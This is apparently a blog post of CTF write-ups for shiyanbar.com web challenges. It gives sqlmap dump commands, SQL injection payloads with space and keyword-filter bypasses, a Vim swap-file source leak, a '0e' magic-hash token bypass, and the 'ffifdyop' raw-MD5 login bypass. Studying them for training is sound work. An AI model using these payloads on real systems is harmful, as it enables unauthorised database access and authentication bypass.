zoukankan      html  css  js  c++  java
  • 实验吧web题:

    实验吧web题:

    这个有点简单

    因为刚了解sqlmap,所以就拿sqlmap来练练手了

    1,先测试该页面是否存在sql注入漏洞

    2、找到漏洞页面,复制url,然后打开sqlmap

    先查看当前数据库
    这里写图片描述

    然后爆出:
    这里写图片描述

    然后爆出数据库下的表:sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db –tables
    这里写图片描述

    字段:sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db -T thiskey –columns
    这里写图片描述

    sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db -T thiskey -C k0y –dump
    这里写图片描述

    得到key

    如果要手工注入,可参考:链接

    #简单的SQL注入

    http://www.shiyanbar.com/ctf/1875

    1)试着在?id=1,没有错误

    2)试着?id=1’,出错了,有回显,说明有注入点:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
    syntax to use near ''''' at line 1
    3)先预计后台表名为flag,所以构造union select flag from flag
    4)根据第二部判断的依据,所以多加个',后面的语句需要再一个'来结束,注入语句为?id=1'union select flag from flag where 't'=
    't
    回显的是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for 
    the right syntax to use near 't'='t'' at line 1
    分析:根据报错,只有变量了,其他的关键字都没过滤了
    5)把关键字fromwhere写两遍试试,结果报错:corresponds to your MySQL server version for the right syntax to use near
     'unionselectflag fromflag where't'='t'' at line 1
    发现空格被过滤!
    6)用'+'号来代替空格:?id=1 '+unionunion +selectselect +flag+fromfrom +flag+wherewhere+'t'='t

    简单的sql注入2:

    1、先?id=1,正常回显,然后=2,=3,最后发现只有三个

    2、?id=1’ 显示mysql 语句错误 大概判断mysql 语句为 select name from user where id=’input’

    3.id=1 ’ 中间有一个空格 显示 SQLi detected! 说明 空格被过滤

    继续简单的 判断

    id=1’%0Band%0B’1’=’1 %0B 表示空格 还有的 类似 %0a-%0z + /**/都可以试试

    显示正常

    ID: 1'and'1'='1
    name: baloteli

    然后 继续测试

    发现这个 逻辑 方法也 不错

    ?id=1’||id||’ 可以显示 表中的数据 然后语句就是 select name from user where id=’1’||id||” 闭合的 想要显示表中的所有记录可以多加几个||’‘ 只要是语句是闭合的就可以

    ID: 1'||`id`||'
    name: baloteli
    ID: 1'||`id`||'
    name: kanawaluo
    ID: 1'||`id`||'
    name: dengdeng

    然后继续 结合web1 我们可以猜到 还有一个flag表

    发现 十六进制编码就可以搞定

    ?id=1’/!u%6eion/ /!se%6cect/flag/!from/flag/!where/”=’

    直接 getflag

    拐弯抹角:

    这个题是真的之前没了解过,看了下网上一些writeup,大部分都说直接看源码就出来了,搞了好久才发现是url伪静态

    直接输入:http://ctf5.shiyanbar.com/indirection/index.php/user/index.php

    即得flag:
    这里写图片描述

    URL伪静态:https://blog.csdn.net/xiaohajunsky/article/details/51224298

    http://www.cnblogs.com/jsq16/p/5942003.html

    忘记密码了?

    先查看源代码,发现有个step2.php,所以先访问下
    这里写图片描述

    然后又看到step2.php内又有一个submit.php
    这里写图片描述

    继续访问,然后在里面发现了

    1529466187070

    这应该就是突破点了

    然后在step1中有

    这里写图片描述
    它告诉了我们编辑器是Vim,而这个编辑器在对某个文件编辑后,如果非正常退出,会产生一个该文件的临时文件,名字为.原文件名.swp。(还有一种获取源码的方式是其备份文件名:原文件名~)

    我们访问 http://ctf5.shiyanbar.com/10/upload/.submit.php.swp,可以看到一部分源码

    这里写图片描述

    需要两个条件,emailAddress和token

    emailAddress应该是admin的邮箱地址,我们可以在step那两个php的源码里看到,应该为admin@simplexue.com

    token的要求为长度为10并且值为0,0e满足这个条件

    访问http://ctf5.shiyanbar.com/10/upload/submit.php?token=0e11111111&emailAddress=admin@simplexue.com

    这里写图片描述

    后台登录

    参考了许多大佬的writeup,勉勉强强算弄懂了,这是转载的某个大佬的writeup

    这道题给了一个登录框,第一反应是sql注入,提交了一个1上去后发现url没显示,或许是POST?算了,看看源码。

    276f722736c95d99e921722cf9ed621c
    'or'6<trash>

    加到原来的语句中就是:

    SELECT * FROM admin WHERE username = 'admin' and password = ''or'6<trash>'

    成功绕过的验证password 。所以提交ffifdyop得到flag。

    天下武功唯快不破

    参考writeup:https://www.cnblogs.com/sherlock17/p/6707136.html

    扩展的知识点:

    python脚本的使用

    pip:pip 是一个现代的,通用的 Python 包管理工具。提供了对 Python 包的查找、下载、安装、卸载的功能。

    • pip 是一个现代的,通用的 Python 包管理工具 [1] 。提供了对Python 包的查找、下载、安装、卸载的功能。

    官方提供的pip 示例

    $ pip install requests

    $ pip search xml

    $ pip show beautifulsoup4

    $ pip uninstall requests

  • 相关阅读:
    左偏树——可以标记合并的堆
    主席树——多棵线段树的集合
    [中山市选2011]完全平方数 ——莫比乌斯函数
    决策单调性优化dp
    [NOI2015]寿司晚宴——状压dp
    【[国家集训队]等差子序列】
    线性基——数集压缩自动机
    Java实现 蓝桥杯VIP 算法训练 筛选号码
    BSGS&EXBSGS 大手拉小手,大步小步走
    CRT&EXCRT 中国剩余定理及其扩展
  • 原文地址:https://www.cnblogs.com/zw1sh/p/10181482.html
Copyright © 2011-2022 走看看